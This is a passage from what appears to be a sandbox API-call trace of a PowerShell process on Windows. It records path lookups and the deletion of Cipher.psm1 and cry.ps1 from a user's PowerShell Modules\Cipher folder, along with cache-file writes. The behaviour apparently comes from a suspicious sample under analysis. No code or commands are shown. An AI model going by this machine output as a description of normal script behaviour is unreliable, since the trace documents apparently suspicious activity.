lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0263.700] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0263.700] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0263.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ed58) returned 1 [0263.700] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0263.700] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0263.700] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1\\*"), lpFindFileData=0x5a2eb08 | out: lpFindFileData=0x5a2eb08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0263.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eac8) returned 1 [0263.701] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0263.701] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0263.701] CoTaskMemFree (pv=0x3b0008) [0263.703] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1")) returned 0x20 [0263.703] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0263.703] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0263.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea20) returned 1 [0263.703] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), fInfoLevelId=0x0, lpFileInformation=0x23e9144 | out: lpFileInformation=0x23e9144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef)) returned 1 [0263.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea1c) returned 1 [0263.703] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1")) returned 1 [0263.707] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0263.707] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x45 [0263.707] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0263.707] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0263.707] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0263.707] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0263.708] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0263.708] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0263.708] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0263.708] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0263.708] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0263.708] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0263.708] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0263.708] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0263.708] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0263.708] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0263.709] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0263.709] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0263.709] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell")) returned 0x10 [0263.709] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell")) returned 0x10 [0263.709] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0263.709] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell", lpFilePart=0x0) returned 0x2e [0263.709] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0x10 [0263.709] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0x10 [0263.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0263.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x36 [0263.710] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0263.710] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0263.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0263.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0263.710] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cry.ps1")) returned 0x20 [0263.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0263.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x45 [0263.713] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0263.713] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x45 [0263.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ed58) returned 1 [0263.713] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0263.714] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x45 [0263.714] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cry.ps1\\*"), lpFindFileData=0x5a2eb08 | out: lpFindFileData=0x5a2eb08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0263.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eac8) returned 1 [0263.714] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0263.714] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0263.714] CoTaskMemFree (pv=0x3b0008) [0263.716] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cry.ps1")) returned 0x20 [0263.716] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0263.716] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x45 [0263.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea20) returned 1 [0263.716] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), fInfoLevelId=0x0, lpFileInformation=0x23f0328 | out: lpFileInformation=0x23f0328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4)) returned 1 [0263.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea1c) returned 1 [0263.716] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cry.ps1")) returned 1 [0263.717] EtwEventActivityIdControl () returned 0x0 [0263.717] EtwEventActivityIdControl () returned 0x0 [0263.717] EtwEventActivityIdControl () returned 0x0 [0263.718] EtwEventActivityIdControl () returned 0x0 [0263.718] EtwEventActivityIdControl () returned 0x0 [0263.718] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2ef24 | out: lpConsoleScreenBufferInfo=0x5a2ef24) returned 1 [0263.817] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2ef1c | out: lpMode=0x5a2ef1c) returned 1 [0263.819] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2ef10, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2ef10*=0x2) returned 1 [0263.821] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2ef28 | out: lpConsoleScreenBufferInfo=0x5a2ef28) returned 1 [0263.821] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2ef20 | out: lpMode=0x5a2ef20) returned 1 [0263.822] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2ef14, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2ef14*=0x2) returned 1 [0263.823] EtwEventActivityIdControl () returned 0x0 [0263.823] EtwEventActivityIdControl () returned 0x0 [0263.823] EtwEventActivityIdControl () returned 0x0 [0263.823] EtwEventActivityIdControl () returned 0x0 [0263.825] SetEvent (hEvent=0x204) returned 1 [0263.826] SetEvent (hEvent=0x210) returned 1 [0263.826] SetEvent (hEvent=0x20c) returned 1 [0263.826] SetEvent (hEvent=0x208) returned 1 [0263.826] SetEvent (hEvent=0x330) returned 1 [0263.826] SetEvent (hEvent=0x214) returned 1 [0263.826] SetEvent (hEvent=0x2b0) returned 1 [0263.826] SetEvent (hEvent=0x2c8) returned 1 [0263.826] SetEvent (hEvent=0x370) returned 1 [0263.827] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5a2f430*=0x378, lpdwindex=0x5a2f254 | out: lpdwindex=0x5a2f254) returned 0x0 [0263.834] SetThreadUILanguage (LangId=0x0) returned 0x409 [0263.838] CoCreateGuid (in: pguid=0x5a2f29c | out: pguid=0x5a2f29c*(Data1=0x2f08a392, Data2=0xaab8, Data3=0x4daf, Data4=([0]=0xb0, [1]=0xa9, [2]=0x49, [3]=0x5d, [4]=0x7d, [5]=0x80, [6]=0x6a, [7]=0x20))) returned 0x0 [0263.838] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2f27c | out: lpPerformanceCount=0x5a2f27c*=3263262602527) returned 1 [0263.851] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2f244 | out: lpPerformanceCount=0x5a2f244*=3263263899185) returned 1 [0263.853] EtwEventActivityIdControl () returned 0x0 [0263.853] EtwEventActivityIdControl () returned 0x0 [0263.853] EtwEventActivityIdControl () returned 0x0 [0263.856] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x2, pHandles=0x5a2edf0*=0x4d4, lpdwindex=0x5a2ecb4 | out: lpdwindex=0x5a2ecb4) returned 0x0 [0263.857] SetEvent (hEvent=0x4d0) returned 1 [0263.857] SetEvent (hEvent=0x4d4) returned 1 [0263.857] EtwEventActivityIdControl () returned 0x0 [0263.857] SetEvent (hEvent=0x4dc) returned 1 [0263.858] SetEvent (hEvent=0x4d0) returned 1 [0263.858] SetEvent (hEvent=0x4d4) returned 1 [0263.858] SetEvent (hEvent=0x4ec) returned 1 [0263.858] SetEvent (hEvent=0x4e0) returned 1 [0263.858] SetEvent (hEvent=0x4e4) returned 1 [0263.858] SetEvent (hEvent=0x4e8) returned 1 [0263.858] SetEvent (hEvent=0x4f0) returned 1 [0263.858] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5a2f430*=0x378, lpdwindex=0x5a2f254 | out: lpdwindex=0x5a2f254) returned 0x0 [0264.817] CoGetContextToken (in: pToken=0x5a2f81c | out: pToken=0x5a2f81c) returned 0x0 [0264.820] CoUninitialize () Thread: id = 73 os_tid = 0x784 Thread: id = 74 os_tid = 0xbdc Thread: id = 75 os_tid = 0x814 [0152.754] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0152.756] CoGetContextToken (in: pToken=0x5b7f234 | out: pToken=0x5b7f234) returned 0x0 [0152.756] CObjectContext::QueryInterface () returned 0x0 [0152.756] CObjectContext::GetCurrentThreadType () returned 0x0 [0152.756] Release () returned 0x0 [0152.756] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0152.756] CoUninitialize () [0171.140] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x2020 [0171.141] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x104, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0171.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5b7e910) returned 1 [0171.141] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), fInfoLevelId=0x0, lpFileInformation=0x22a1144 | out: lpFileInformation=0x22a1144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa18da600, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0xa18da600, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0xa1900760, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x3511)) returned 1 [0171.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5b7e90c) returned 1 [0171.142] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0171.142] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0171.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5b7eafc) returned 1 [0171.142] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x440 [0171.143] GetFileType (hFile=0x440) returned 0x1 [0171.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5b7eaf8) returned 1 [0171.144] GetFileType (hFile=0x440) returned 0x1 [0171.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5b7e910) returned 1 [0171.468] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), fInfoLevelId=0x0, lpFileInformation=0x22a7938 | out: lpFileInformation=0x22a7938*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa18da600, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0xa18da600, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0xe34dac90, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x3560)) returned 1 [0171.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5b7e90c) returned 1 [0186.680] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x2020 [0186.681] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0186.681] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0186.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5b7e910) returned 1 [0186.681] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), fInfoLevelId=0x0, lpFileInformation=0x2642ce0 | out: lpFileInformation=0x2642ce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa18da600, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0xa18da600, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0xe34dac90, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x3560)) returned 1 [0186.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5b7e90c) returned 1 [0186.682] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0186.682] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0186.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5b7eafc) returned 1 [0186.682] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0188.759] GetFileType (hFile=0x45c) returned 0x1 [0188.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5b7eaf8) returned 1 [0188.760] GetFileType (hFile=0x45c) returned 0x1 [0188.775] GetFullPathNameW (in: 